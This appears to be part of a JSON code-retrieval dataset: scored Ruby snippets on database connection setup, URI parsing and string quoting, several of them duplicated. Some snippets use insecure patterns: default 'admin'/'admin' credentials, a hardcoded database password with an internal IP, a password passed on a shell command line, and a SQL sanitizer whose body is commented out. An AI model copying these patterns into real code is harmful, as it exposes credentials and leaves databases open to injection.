"score": "0.5267897",
"text": "def connection_params_from_env\n @username = ENV['QUMULO_USER'] || \"admin\"\n @password = ENV['QUMULO_PASS'] || \"admin\"\n @addr = ENV['QUMULO_ADDR'] || \"localhost\"\n @port = (ENV['QUMULO_PORT'] || 8000).to_i\n end",
"title": ""
},
{
"docid": "adc853c3bd3ac7d0acace1c03fbc23eb",
"score": "0.5211099",
"text": "def no_database_or_uri?(config)\n !config.has_key?(:database) && !config.has_key?(:uri)\n end",
"title": ""
},
{
"docid": "adc853c3bd3ac7d0acace1c03fbc23eb",
"score": "0.5211099",
"text": "def no_database_or_uri?(config)\n !config.has_key?(:database) && !config.has_key?(:uri)\n end",
"title": ""
},
{
"docid": "df9d110e82a79c5f7f3b357f3fbbea88",
"score": "0.5210501",
"text": "def quote_string(string)\n @logger.unknown(\"ODBCAdapter#quote_string>\") if @trace\n \n # MySQL requires backslashes to be escaped\t\t\t\t\n string.gsub(/\\\\/, '\\&\\&').gsub(/'/, \"''\")\n end",
"title": ""
},
{
"docid": "aa6c09dd14c62d6d9121f47b18a48789",
"score": "0.5208343",
"text": "def connection_string\n \"#{configuration.host}:#{configuration.port}\"\n end",
"title": ""
},
{
"docid": "8aab9d9d83857b1f498097c8cc759558",
"score": "0.5191053",
"text": "def configure_connection\n if @config[:encoding]\n @connection.set_client_encoding(@config[:encoding])\n end\n self.client_min_messages = @config[:min_messages] || 'warning'\n self.schema_search_path = @config[:schema_search_path] || @config[:schema_order]\n\n # Use standard-conforming strings if available so we don't have to do the E'...' dance.\n set_standard_conforming_strings\n\n # If using Active Record's time zone support configure the connection to return\n # TIMESTAMP WITH ZONE types in UTC.\n # (SET TIME ZONE does not use an equals sign like other SET variables)\n if ActiveRecord::Base.default_timezone == :utc\n execute(\"SET time zone 'UTC'\", 'SCHEMA')\n elsif @local_tz\n execute(\"SET time zone '#{@local_tz}'\", 'SCHEMA')\n end\n\n # SET statements from :variables config hash\n # http://www.postgresql.org/docs/current/static/sql-set.html\n variables = @config[:variables] || {}\n variables.map do |k, v|\n if v == ':default' || v == :default\n # Sets the value to the global or compile default\n execute(\"SET SESSION #{k} TO DEFAULT\", 'SCHEMA')\n elsif !v.nil?\n execute(\"SET SESSION #{k} TO #{quote(v)}\", 'SCHEMA')\n end\n end\n end",
"title": ""
},
{
"docid": "0abd88bff13e74754fd1eceeaddf1401",
"score": "0.51495075",
"text": "def configure(uri_string)\n uri = URI(uri_string)\n\n if uri.scheme == \"unix\"\n @host = uri.path\n @port = nil\n else\n @host = uri.host\n @port = uri.port\n @password = uri.password\n path = uri.path[1..-1]\n @db = path.to_i # Empty path => 0\n end\n end",
"title": ""
},
{
"docid": "f021680ce7889da8f2cf95587ffb5f45",
"score": "0.5138383",
"text": "def parseConnection(string, connection)\n options = parseOptions(string, 'connection')\n\n # Sanity check\n if (!(options.has_key?('room') && options.has_key?('description') && options.has_key?('instruction')))\n raise \"Missing options for connection: #{options.inspect}\"\n end\n\n connection.setLeftOrRight(options['room'].to_i, options['description'], options['instruction'])\n end",
"title": ""
},
{
"docid": "edf36975a47e2ab69344c42d9882428f",
"score": "0.51321673",
"text": "def double_quotes_required?(string); end",
"title": ""
},
{
"docid": "edf36975a47e2ab69344c42d9882428f",
"score": "0.51321673",
"text": "def double_quotes_required?(string); end",
"title": ""
},
{
"docid": "cd73f958c7f3aab586793e2e8cdf6e91",
"score": "0.51088685",
"text": "def configure_connection\n if @config[:encoding]\n if @connection.respond_to?(:set_client_encoding)\n @connection.set_client_encoding(@config[:encoding])\n else\n execute(\"SET client_encoding TO '#{@config[:encoding]}'\")\n end\n end\n self.client_min_messages = @config[:min_messages] if @config[:min_messages]\n self.schema_search_path = @config[:schema_search_path] || @config[:schema_order]\n\n # Use standard-conforming strings if available so we don't have to do the E'...' dance.\n set_standard_conforming_strings\n end",
"title": ""
},
{
"docid": "04d35bb76909003e61c733a894a6afd6",
"score": "0.5108378",
"text": "def setup_connection\n\t\t\tbegin\n\t\t\t\t@db = PG.connect(@connection_str)\n\t\t\t\t@version = get_server_version\n\n\t\t\trescue PG::Error => err\n\t\t\t\t$stderr.puts \"Connection failed: %s\" % [ err.message ]\n\t\t\t\t@db = nil\n\t\t\tend\n\t\tend",
"title": ""
},
{
"docid": "7fc1cb0aa6c0aea8de8b36bd61cf9f6d",
"score": "0.51069015",
"text": "def test_reload_required_string\n context = ConfigVar::Context.new\n context.required_string :database_url\n context.reload('DATABASE_URL' => 'postgres:///test')\n assert_equal('postgres:///test', context.database_url)\n end",
"title": ""
},
{
"docid": "6014497d28ee0b014ebebd0d575bae12",
"score": "0.510312",
"text": "def connection_string\n @uri\n end",
"title": ""
},
{
"docid": "1b8a06bf2baa18242c4384a7e1bb292b",
"score": "0.51021975",
"text": "def parse_query(str); end",
"title": ""
},
{
"docid": "1b8a06bf2baa18242c4384a7e1bb292b",
"score": "0.51021975",
"text": "def parse_query(str); end",
"title": ""
},
{
"docid": "d408fd82d0e748b2e2e2bb7e2f513574",
"score": "0.50722545",
"text": "def configure_connection\n if @config[:encoding]\n @connection.set_client_encoding(@config[:encoding])\n end\n self.client_min_messages = @config[:min_messages] || \"warning\"\n self.schema_search_path = @config[:schema_search_path] || @config[:schema_order]\n\n # Use standard-conforming strings so we don't have to do the E'...' dance.\n set_standard_conforming_strings\n\n variables = @config.fetch(:variables, {}).stringify_keys\n\n # If using Active Record's time zone support configure the connection to return\n # TIMESTAMP WITH ZONE types in UTC.\n unless variables[\"timezone\"]\n if ActiveRecord::Base.default_timezone == :utc\n variables[\"timezone\"] = \"UTC\"\n elsif @local_tz\n variables[\"timezone\"] = @local_tz\n end\n end\n\n # NOTE(joey): This is a workaround as CockroachDB 1.1.x\n # supports SET TIME ZONE <...> and SET \"time zone\" = <...> but\n # not SET timezone = <...>.\n if variables.key?(\"timezone\")\n tz = variables.delete(\"timezone\")\n execute(\"SET TIME ZONE #{quote(tz)}\", \"SCHEMA\")\n end\n\n # SET statements from :variables config hash\n # https://www.postgresql.org/docs/current/static/sql-set.html\n variables.map do |k, v|\n if v == \":default\" || v == :default\n # Sets the value to the global or compile default\n\n # NOTE(joey): I am not sure if simply commenting this out\n # is technically correct.\n # execute(\"SET #{k} = DEFAULT\", \"SCHEMA\")\n elsif !v.nil?\n execute(\"SET SESSION #{k} = #{quote(v)}\", \"SCHEMA\")\n end\n end\n end",
"title": ""
},
{
"docid": "d7d617d94eec1d96db336b23bdcff6fe",
"score": "0.5071056",
"text": "def ar_connect (ac, s)\n\n require 'openwfe/extras/expool/ar_expstorage'\n\n options = s.split(':').inject({}) { |h, pair|\n ss = pair.split('='); h[ss[0]] = ss[1]; h\n }\n\n ActiveRecord::Base.establish_connection(options)\nend",
"title": ""
},
{
"docid": "35a43fa3667030d9de301ccb2e362cdc",
"score": "0.5051393",
"text": "def quote_string(s) # :nodoc:\n with_raw_connection(allow_retry: true, materialize_transactions: false) do |connection|\n connection.escape(s)\n end\n end",
"title": ""
},
{
"docid": "97ca71821fd887abf3f3d2d778321f6c",
"score": "0.5050471",
"text": "def sanitize_sparql(uri_or_string)\n uri_or_string = uri_or_string.to_s.gsub( /[<>\"{}|\\\\^`\\s]/, '') # Remove forbidden chars that we know of\n URI.escape(uri_or_string) # Escape everything else\n uri_or_string.gsub('%23', '#') # Revert the hash character, we need that intact\n end",
"title": ""
},
{
"docid": "f11306b5f9d884361df34edf5f0546f6",
"score": "0.50430477",
"text": "def open_connection_in_config\n config = Rails.configuration.database_configuration\n host = config[Rails.env]['host']\n port = config[Rails.env]['port']\n database = config[Rails.env]['database']\n username = config[Rails.env]['username']\n password = config[Rails.env]['password']\n @con = Mysql.new host.to_s.strip, username.to_s.strip, password.to_s.strip, database.to_s.strip, port.to_s.strip.to_i\n end",
"title": ""
},
{
"docid": "e6ac14e6e746a12003e5af9299a807f5",
"score": "0.5035174",
"text": "def connection_string\n \"#{@adapter}://#{@host}#{\":#{@port}\" if @port}\"\n end",
"title": ""
},
{
"docid": "e6ac14e6e746a12003e5af9299a807f5",
"score": "0.5035174",
"text": "def connection_string\n \"#{@adapter}://#{@host}#{\":#{@port}\" if @port}\"\n end",
"title": ""
},
{
"docid": "d71e689bf23f0bf3656ebf104c6817e8",
"score": "0.50349444",
"text": "def quote_string(s) #:nodoc:\n @connection.escape(s)\n end",
"title": ""
},
{
"docid": "11c031f25b0835679e61ea5a7a1a5261",
"score": "0.5030772",
"text": "def configure_connection\n if @config[:encoding]\n @connection.set_client_encoding(@config[:encoding])\n end\n self.client_min_messages = @config[:min_messages] || 'warning'\n self.schema_search_path = @config[:schema_search_path] || @config[:schema_order]\n\n # Use standard-conforming strings so we don't have to do the E'...' dance.\n set_standard_conforming_strings\n\n variables = @config.fetch(:variables, {}).stringify_keys\n\n # If using Active Record's time zone support configure the connection to return\n # TIMESTAMP WITH ZONE types in UTC.\n unless variables['timezone']\n if ActiveRecord::Base.default_timezone == :utc\n variables['timezone'] = 'UTC'\n elsif @local_tz\n variables['timezone'] = @local_tz\n end\n end\n\n # NOTE(joey): This is a workaround as CockroachDB 1.1.x\n # supports SET TIME ZONE <...> and SET \"time zone\" = <...> but\n # not SET timezone = <...>.\n if variables.key?('timezone')\n tz = variables.delete('timezone')\n execute(\"SET TIME ZONE #{quote(tz)}\", 'SCHEMA')\n end\n\n # SET statements from :variables config hash\n # https://www.postgresql.org/docs/current/static/sql-set.html\n variables.map do |k, v|\n if v == ':default' || v == :default\n # Sets the value to the global or compile default\n\n # NOTE(joey): I am not sure if simply commenting this out\n # is technically correct.\n # execute(\"SET #{k} = DEFAULT\", \"SCHEMA\")\n elsif !v.nil?\n execute(\"SET SESSION #{k} = #{quote(v)}\", 'SCHEMA')\n end\n end\n end",
"title": ""
},
{
"docid": "ee11bd991a734494aa656bd48b1e8b92",
"score": "0.50302523",
"text": "def test_reload_optional_string\n context = ConfigVar::Context.new\n context.optional_string :database_url, 'postgres:///default'\n context.reload('DATABASE_URL' => 'postgres:///test')\n assert_equal('postgres:///test', context.database_url)\n end",
"title": ""
},
{
"docid": "cdd2f11d119310a61a421f6e76c2bd0f",
"score": "0.502774",
"text": "def init_credentials\n raise 'hostname required' if @host.blank?\n @port = '22' if @port.blank?\n # remvove protocol prefix from hostname (eg, ftp://myftp becomes myftp)\n @host.gsub!(%r{.+://}, '')\n end",
"title": ""
},
{
"docid": "1e4985bfdbde6ae780800a811709162f",
"score": "0.5026144",
"text": "def filter_query_string\n return unless @query_str.present?\n # try parsing. if we can't, then strip characters.\n # this allows for savvy users to actually exercise features, w/o penalizing inadvertent strings.\n parser = self.class.get_query_parser\n errloc = parser.error_location(@query_str)\n if errloc\n @query_str.gsub!(/[\\&\\|\\>\\<\\!\\(\\)\\{\\}\\[\\]\\^\\~\\\\\\/]+/, '')\n @query_str.gsub!(/\\ +/, ' ') # reduce multiple spaces to singles\n # if we have just a single double quote mark, strip it too\n if @query_str.match(/\"/) and !@query_str.match(/\".+?\"/)\n @query_str.gsub!(/\"/, '')\n end\n end\n end",
"title": ""
},
{
"docid": "09b8ee63caf7e7ade03992a7410a106d",
"score": "0.502299",
"text": "def query=(str)\n unless str.is_a? String; raise ArgumentError, \"The query must be a String\"; end\n begin\n @query = URI.escape str\n rescue\n # The URI.escape method doesn't work on the current version of Shoes, so here is an alternative\n caracters = {\" \" => \"%20\", \"{\" => \"%7b\", \"}\" => \"%7d\", \"<\" => \"%3c\", \">\" => \"%3e\", \":\" => \"%3a\", \"?\" => \"%3f\", \"'\" => \"%27\",\n \"(\" => \"%28\", \")\" => \"%29\", \"/\" => \"%2f\", \",\" => \"%2c\", \"#\" => \"%23\"}\n @query = str.gsub(/[^a-zA-Z0-9_;\\.\\-]/) { |s| caracters[s] }\n end\n self\n end",
"title": ""
},
{
"docid": "d5b939b5467dd4155f12a186a4776380",
"score": "0.50118005",
"text": "def check_db(config)\n raise ArgumentError.new('there is must be db host in config') unless config.has_key? :db_host\n raise ArgumentError.new('there is must be db port in config') unless config.has_key? :db_port\n end",
"title": ""
},
{
"docid": "90a0f33fef94196e449fffa77842aeb6",
"score": "0.49993187",
"text": "def uses_single_quotes?\n !uses_double_quotes? && !(@value =~ /'/).nil?\n end",
"title": ""
},
{
"docid": "c5a1b3a4dcc1e7a2ce2b9c5581658670",
"score": "0.49915093",
"text": "def sequel_db_uri\n # Set the protocol (DB engine; i.e. mysql, sqlite3, postgres, etc.)\n protocol = config['protocol'] || config['adapter'] || 'sqlite'\n if RUBY_ENGINE == 'jruby'\n protocol = \"jdbc:#{protocol}\" unless protocol.start_with? \"jdbc:\"\n end\n\n # Set the path (hostname & database name)\n path = \"#{config['host'] || config['path']}/#{config['database']}\"\n path = '' if path == '/' # Clear path if 'host', 'path', and 'database' are all unset\n\n # Set the user and password\n if RUBY_ENGINE == 'jruby' && protocol == 'jdbc:mysql'\n # Special case for JRuby and MySQL\n user_pass = \"?user=#{config['username']}&password=#{config['password']}\"\n server_path = \"#{path}#{user_pass}\"\n else\n user_pass = \"#{config['username']}:#{config['password']}@\"\n user_pass = '' if user_pass == ':@' # Clear user_pass if both 'username' and 'password' are unset\n server_path = \"#{user_pass}#{path}\"\n end\n\n # Finally, put the protocol and path components together\n server_path = \"/#{server_path}\" unless server_path.empty?\n uri = \"#{protocol}:/#{server_path}\"\n uri = 'jdbc:sqlite::memory:' if uri == 'jdbc:sqlite:/' && RUBY_ENGINE == 'jruby'\n if config['options']\n if uri =~ /\\?/\n uri += \"&#{paramize(config['options'])}\"\n else\n uri += \"?#{paramize(config['options'])}\"\n end\n end\n uri\n end",
"title": ""
},
{
"docid": "f5e769f6ffa7abf42806264342855126",
"score": "0.49910492",
"text": "def test_database_url\n set_env 'DATABASE_URL', \"postgres:///foo\"\n assert_equal(Config.database_url, 'postgres:///foo')\n end",
"title": ""
},
{
"docid": "18256e98c9968158640809e016f71bd3",
"score": "0.4984909",
"text": "def quote_string(original_value) #:nodoc:\n if @connection.respond_to?(:escape)\n self.class.instance_eval do\n define_method(:quote_string) do |s|\n @connection.escape(s)\n end\n end\n elsif PGconn.respond_to?(:escape)\n self.class.instance_eval do\n define_method(:quote_string) do |s|\n PGconn.escape(s)\n end\n end\n else\n # There are some incorrectly compiled postgres drivers out there\n # that don't define PGconn.escape.\n self.class.instance_eval do\n remove_method(:quote_string)\n end\n end\n quote_string(original_value)\n end",
"title": ""
},
{
"docid": "c5d896ae876bdcf9c2aef4968350c767",
"score": "0.49726683",
"text": "def init_credentials\n fail 'hostname required' if @host.blank?\n @port = '21' if @port.blank?\n # remvove protocol prefix from hostname (eg, ftp://myftp becomes myftp)\n @host.gsub!(%r{.+://}, '')\n end",
"title": ""
},
{
"docid": "c9eaf727f2eb3311d151828d4913ceb0",
"score": "0.496626",
"text": "def quote_string(string)\n @logger.unknown(\"ODBCAdapter#quote_string>\") if @@trace\n @logger.unknown(\"args=[#{string}]\") if @@trace\n string.gsub(/\\'/, \"''\")\n end",
"title": ""
},
{
"docid": "e004f350411d403f40eadbe55cac796e",
"score": "0.49627352",
"text": "def parse_connect_attrs(conn_attrs)\n return {} if Mysql2::Client::CONNECT_ATTRS.zero?\n\n conn_attrs ||= {}\n conn_attrs[:program_name] ||= $PROGRAM_NAME\n conn_attrs.each_with_object({}) do |(key, value), hash|\n hash[key.to_s] = value.to_s\n end\n end",
"title": ""
},
{
"docid": "de43d2a6c083acd13dd2503ead0c06e8",
"score": "0.49600753",
"text": "def sanitize_for_sql(string)\n \t#string.gsub(/\\\\/, '\\&\\&').gsub(/'/, \"''\")\n end",
"title": ""
},
{
"docid": "da6c876ecbcaca1e732b80b99d350d30",
"score": "0.49536625",
"text": "def query_string_ignore; end",
"title": ""
},
{
"docid": "dc91bdf470a57c456d55e156fc9b1646",
"score": "0.4951277",
"text": "def sequel_db_uri\n # Set the protocol (DB engine; i.e. mysql, sqlite3, postgres, etc.)\n protocol = config['protocol'] || config['adapter'] || 'sqlite'\n if RUBY_ENGINE == 'jruby'\n protocol = \"jdbc:#{protocol}\" unless protocol.start_with? \"jdbc:\"\n end\n\n # Set the path (hostname & database name)\n path = \"#{config['host'] || config['path']}/#{config['database']}\"\n path = '' if path == '/' # Clear path if 'host', 'path', and 'database' are all unset\n\n # Set the user and password\n if RUBY_ENGINE == 'jruby' && protocol == 'jdbc:mysql'\n # Special case for JRuby and MySQL\n user_pass = \"?user=#{config['username']}&password=#{config['password']}\"\n server_path = \"#{path}#{user_pass}\"\n else\n user_pass = \"#{config['username']}:#{config['password']}@\"\n user_pass = '' if user_pass == ':@' # Clear user_pass if both 'username' and 'password' are unset\n server_path = \"#{user_pass}#{path}\"\n end\n\n # Finally, put the protocol and path components together\n server_path = \"/#{server_path}\" unless server_path.empty?\n uri = \"#{protocol}:/#{server_path}\"\n uri = 'jdbc:sqlite::memory:' if uri == 'jdbc:sqlite:/' && RUBY_ENGINE == 'jruby'\n if config['options']\n if uri =~ /\\?/\n uri += \"&#{paramize(config['options'])}\"\n else\n uri += \"?#{paramize(config['options'])}\"\n end\n end\n uri\n end",
"title": ""
},
{
"docid": "2fae67081d77375552e6244266820392",
"score": "0.49278858",
"text": "def connect\n\t\t@db_details.each do |key, value|\n\t\t\tif value.empty?\n\t\t\t\tputs \"Invalid value for #{key}\"\n\t\t\t\treturn false\n\t\t\tend\n\t\tend\n\n\t\tputs \"Connecting to postgres server using following data...\"\n\t\tputs @db_details\n\t\tPG.connect(@db_details)\n\tend",
"title": ""
},
{
"docid": "9362404e00dc2b2e068a3dcbf39983fc",
"score": "0.49250585",
"text": "def parse_db_url(db_string)\n return db_string if db_string =~ %r(://)\n\n \"postgres:///#{db_string}\"\n end",
"title": ""
},
{
"docid": "da878d7719eb4af3ff3388bbd7cd0cdc",
"score": "0.49225354",
"text": "def quote_string\n @quote_string ||= with_connection { |connection| connection.getMetaData.getIdentifierQuoteString }\n @quote_string = '\"' if @quote_string == \" \"\n @quote_string\n end",
"title": ""
},
{
"docid": "95e8d13b5f6dee15f12611da7cb1cb64",
"score": "0.49126625",
"text": "def test_reload_optional_string_without_value\n context = ConfigVar::Context.new\n context.optional_string :database_url, 'postgres:///default'\n context.reload({})\n assert_equal('postgres:///default', context.database_url)\n end",
"title": ""
},
{
"docid": "c5a05a041ca5501332d388b879298ffb",
"score": "0.49045846",
"text": "def uri(str)\n dsl_has_database!\n valid_database_uri!(str)\n current_database.uri = str\n end",
"title": ""
},
{
"docid": "5d0f26cd1a66e26df4e6bd08dd645d77",
"score": "0.49038455",
"text": "def check_database_connection\n resp = %x[#{BIN_DIR}/yaml config dbcheck]\n raise RuntimeError.new(\"Database connection could not be established \" +\n \"using the current server configuration; check configuration\" +\n \"and database state\") unless resp.strip == \"true\"\n end",
"title": ""
},
{
"docid": "d00e835baa1b5257a93533e3ab11e02c",
"score": "0.4901822",
"text": "def sanitize_log_value(value)\n string = value.to_s\n string.strip!\n if string =~ /^[a-z]+\\:\\/\\//\n uri = Addressable::URI.parse(string)\n uri.password = \"*\" * 8 if uri.password\n uri.to_s\n else\n string\n end\n rescue Addressable::URI::InvalidURIError\n string\n end",
"title": ""
},
{
"docid": "ecfb0c0b1cd7b63236f28c348aad6fa2",
"score": "0.4901684",
"text": "def quote_string(s) #:nodoc:\n @connection.escape(s)\n end",
"title": ""
},
{
"docid": "e75c5722fce0526e9f5650c8a9ab5c2b",
"score": "0.4898014",
"text": "def valid_connection_sql\n @valid_connection_sql ||= select(nil).sql\n end",
"title": ""
},
{
"docid": "f76a4aaca6adffd36c8da7240be6bcf2",
"score": "0.48897135",
"text": "def connection_needs_password()\n #This is a stub, used for indexing\n end",
"title": ""
},
{
"docid": "1f1de9bf4c08d031e4003c3011f5751a",
"score": "0.48810583",
"text": "def parse_query_v0 valid_params\n conds = []\n\n std_params = standardize_params\n std_params.keys.each do |key| if (valid_params.include? key)\n value = std_params[key][0]\n delim = std_params[key][1]\n\n if delim.include? '!'\n conds << Sequel.~(Sequel.lit(\"#{key} #{delim} ?\", value))\n else\n conds << Sequel.lit(\"#{key} #{delim} ?\", value)\n end\n end\n end\n conds\n end",
"title": ""
},
{
"docid": "5fc72a3016c352f648d48c1b60670c0a",
"score": "0.48779687",
"text": "def test_connection_options\n params = ActiveRecord::Base.connection_db_config.configuration_hash.dup\n params[:options] = \"-c geqo=off\"\n NonExistentTable.establish_connection(params)\n\n # Verify the connection param has been applied.\n expect = NonExistentTable.connection.query(\"show geqo\").first.first\n assert_equal \"off\", expect\n end",
"title": ""
},
{
"docid": "269ad2c86374e98227767030e52819ef",
"score": "0.48755395",
"text": "def test_connection_options\n params = ActiveRecord::Base.connection_config.dup\n params[:options] = \"-c geqo=off\"\n NonExistentTable.establish_connection(params)\n\n # Verify the connection param has been applied.\n expect = NonExistentTable.connection.query('show geqo').first.first\n assert_equal 'off', expect\n end",
"title": ""
},
{
"docid": "7bb625620851b8e374536f4c13360f87",
"score": "0.4875022",
"text": "def test_bug_empty_single_quore_string\n assert_eq interpret(\"s=''\"), ''\n end",
"title": ""
},
{
"docid": "64daab4a0259ae8a73559ca7fc0b5319",
"score": "0.48735657",
"text": "def valid_database_uri!(uri)\n require 'uri'\n got = URI::parse(uri)\n if got.scheme or (uri =~ /\\.db$/)\n uri\n else\n raise DbAgile::InvalidDatabaseUri, \"Invalid database uri: #{uri}\"\n end\n rescue URI::InvalidURIError\n raise DbAgile::InvalidDatabaseUri, \"Invalid database uri: #{uri}\"\n end",
"title": ""
},
{
"docid": "e05f2a9ab798a12533b2ee55b86d7061",
"score": "0.4858155",
"text": "def mysql_connect_command(user, password, host)\n if password.empty?\n \"mysql -u #{ user } -h #{ host }\"\n else\n \"mysql -u #{ user } -p'#{ password }' -h #{ host }\"\n end\nend",
"title": ""
},
{
"docid": "7b72595cd8699d86e920145d1906ae63",
"score": "0.48564824",
"text": "def connect\n\t\t@db_details.each do |key, value|\n\t\t\tif value.empty?\n\t\t\t\tputs \"Invalid value for #{key}\"\n\t\t\t\treturn false\n\t\t\tend\n\t\tend\n\n\t\tputs \"Connecting to mysql server using following data...\"\n\t\tputs @db_details\n\n\t\tMysql2::Client.new(@db_details)\n\tend",
"title": ""
},
{
"docid": "cd39d821577b7d84c3500aa73322abd4",
"score": "0.48520905",
"text": "def query?\n to_s[-1,1] == '?'\n end",
"title": ""
},
{
"docid": "7fc87af2a7e99c4bbcf23f2cb748be11",
"score": "0.4848975",
"text": "def connection_specification_name=(_arg0); end",
"title": ""
},
{
"docid": "f88c50cb1d20ec157f5404d480875a84",
"score": "0.48396137",
"text": "def configure_connection; end",
"title": ""
},
{
"docid": "2c5b49ce5167cbc2316c82e75653b756",
"score": "0.48365635",
"text": "def url=(url)\n uri = URI.parse url\n\n case uri.scheme\n when /^mysql/\n default_port = 3306\n @engine = :mysql\n when /^postgres/\n default_port = 5432\n @engine = :postgres\n end\n\n raise 'Invalid database url' unless uri.user && uri.host && uri.path\n\n @username = uri.user\n @password = uri.password\n @hostname = uri.host\n @port = uri.port || default_port\n @database = (uri.path || '').split('/').last\n end",
"title": ""
},
{
"docid": "8e7a673dcf08591409eb29c2d27c8543",
"score": "0.48291647",
"text": "def check_sql_connection\n @config.sql_connection.valid? && @config.sql_connection.has_connection?\n end",
"title": ""
},
{
"docid": "156b54665aaa191cf4de2fde9c1bf947",
"score": "0.48184565",
"text": "def secondbase_config(env)\n ActiveRecord::Base.configurations[SecondBase::CONNECTION_PREFIX][env]\nend",
"title": ""
},
{
"docid": "74bca53b8f1e5c1daff391c2cff91dd7",
"score": "0.4815086",
"text": "def configure_connection\n if @config[:encoding]\n @connection.set_client_encoding(@config[:encoding])\n end\n self.client_min_messages = @config[:min_messages] if @config[:min_messages]\n self.schema_search_path = @config[:schema_search_path] || @config[:schema_order]\n\n # Use standard-conforming strings if available so we don't have to do the E'...' dance.\n set_standard_conforming_strings\n\n # If using Active Record's time zone support configure the connection to return\n # TIMESTAMP WITH ZONE types in UTC.\n if ActiveRecord::Base.default_timezone == :utc\n execute(\"SET time zone 'UTC'\", 'SCHEMA')\n elsif @local_tz\n execute(\"SET time zone '#{@local_tz}'\", 'SCHEMA')\n end\n end",
"title": ""
},
{
"docid": "e5ef21a6ff7a0c040845bad0426ef531",
"score": "0.4805978",
"text": "def parse_database_url(url)\n {'url' => url}\n end",
"title": ""
},
{
"docid": "df3eadedb85fd314e598bc447d0e3092",
"score": "0.48035425",
"text": "def query_string_ignore=(_arg0); end",
"title": ""
},
{
"docid": "c1e3e7894a49c643c5375de7712587df",
"score": "0.48024973",
"text": "def valid_connection_sql\n @valid_connection_sql ||= select(1).sql\n end",
"title": ""
},
{
"docid": "1e4349932ec335b529787a65b1e1cb12",
"score": "0.4797841",
"text": "def connect(str)\n conn = SQLite3::Database.new( str )\n conn.results_as_hash = true\n conn\n end",
"title": ""
},
{
"docid": "2f78bb7bd791e500cce39b3ea404849e",
"score": "0.4791078",
"text": "def jdbc?\n !uri.scan(\"jdbc:\").empty?\n end",
"title": ""
},
{
"docid": "ef688def4bae678a9195a841388f7365",
"score": "0.47889397",
"text": "def properUriSyntax?(string)\n #raise SyntaxError.new(\"Improper qname syntax: contains only numbers in \" + string) if /[^0-9]/.match(string) != nil\n\t #raise SyntaxError.new(\"Improper qname syntax: contains non-uri encoded characters in \" + string) if /[[:punct:]]/.match(string) !=nil\n return string\n end",
"title": ""
},
{
"docid": "b40365b5a39402bddf4b39bb3ef3a6d6",
"score": "0.47858533",
"text": "def parse_connection(connection_string)\n if connection_string =~ TCP_CONNECTION_MATCH\n [$1, $2.to_i]\n else\n [connection_string]\n end\n end",
"title": ""
},
{
"docid": "9a63959c3adc01add3045ad21c2cc157",
"score": "0.47855636",
"text": "def connection_params\n params.require(:connection).permit(:adapter, :host, :port, :socket, :username, :password, :database, :encoding)\n end",
"title": ""
},
{
"docid": "1d33468d0848d7bd61c33bd28ce0c9c4",
"score": "0.47813278",
"text": "def valid_string?(value)\n (value =~ /\\s*\"[^\"]*\"\\s*/ ||\n value.strip =~ /\\A\\S+\\Z/) &&\n value.strip != ';' # handles case where no text in the value\n end",
"title": ""
},
{
"docid": "bba624801f9fc642dcdf4bf84f841679",
"score": "0.47797155",
"text": "def configure_connection\n #if encoding = config[:encoding]\n # The client_encoding setting is set by the driver and should not be altered.\n # If the driver detects a change it will abort the connection.\n # see http://jdbc.postgresql.org/documentation/91/connect.html\n # self.set_client_encoding(encoding)\n #end\n self.client_min_messages = config[:min_messages] || 'warning'\n self.schema_search_path = config[:schema_search_path] || config[:schema_order]\n\n # Use standard-conforming strings if available so we don't have to do the E'...' dance.\n set_standard_conforming_strings\n\n # If using Active Record's time zone support configure the connection to return\n # TIMESTAMP WITH ZONE types in UTC.\n # (SET TIME ZONE does not use an equals sign like other SET variables)\n if ActiveRecord.default_timezone == :utc\n execute(\"SET time zone 'UTC'\", 'SCHEMA')\n elsif tz = local_tz\n execute(\"SET time zone '#{tz}'\", 'SCHEMA')\n end unless redshift?\n\n # Set interval output format to ISO 8601 for ease of parsing by ActiveSupport::Duration.parse\n execute(\"SET intervalstyle = iso_8601\", \"SCHEMA\")\n\n # SET statements from :variables config hash\n # http://www.postgresql.org/docs/8.3/static/sql-set.html\n (config[:variables] || {}).map do |k, v|\n if v == ':default' || v == :default\n # Sets the value to the global or compile default\n execute(\"SET SESSION #{k} TO DEFAULT\", 'SCHEMA')\n elsif ! v.nil?\n execute(\"SET SESSION #{k} TO #{quote(v)}\", 'SCHEMA')\n end\n end\n end",
"title": ""
},
{
"docid": "de153cd95f4af0e78db760d87958044f",
"score": "0.47721252",
"text": "def test_private_sequel_url_returns_a_valid_response\n ( db_name, db_type, db_user, db_host ) = %w(testing mysql test)\n config = NoSequel::Configuration.new(\n db_type: db_type,\n db_name: db_name,\n db_user: db_user,\n db_host: db_host\n )\n assert_equal \"#{db_type}://#{db_user}/#{db_name}\", config.send(:sequel_url)\n end",
"title": ""
},
{
"docid": "462d1555d05aa03425cd8320aad3d783",
"score": "0.47671708",
"text": "def db_config\r\n { rails_env => {\r\n :database => database,\r\n :username => db_username,\r\n :host => \"10.5.1.62\",\r\n :adapter => \"mysql\",\r\n :password => \"code1T\"\r\n } }\r\nend",
"title": ""
},
{
"docid": "5f0b3db37281699cef3073b086b1ae4b",
"score": "0.4765529",
"text": "def checkConnectionData\n assert($Variables[:MySQLExecs] != nil)\n assert($Variables[:MySQLExecs].kind_of?(Array))\n assert_equal(1, $Variables[:MySQLExecs].size)\n lMySQLExec = $Variables[:MySQLExecs][0]\n assert(lMySQLExec.kind_of?(Hash))\n assert_equal('DBHost', lMySQLExec[:Host])\n assert_equal('DBName', lMySQLExec[:DBName])\n assert_equal('DBUser', lMySQLExec[:DBUser])\n assert_equal('DBPassword', lMySQLExec[:DBPassword])\n end",
"title": ""
},
{
"docid": "3910351e9b46a7b04d176d3999aef57b",
"score": "0.4763839",
"text": "def query_splitter(str)\n return str.split('\"')[3]\nend",
"title": ""
},
{
"docid": "77ed680e2b15bd528fb528b8838afef7",
"score": "0.47622412",
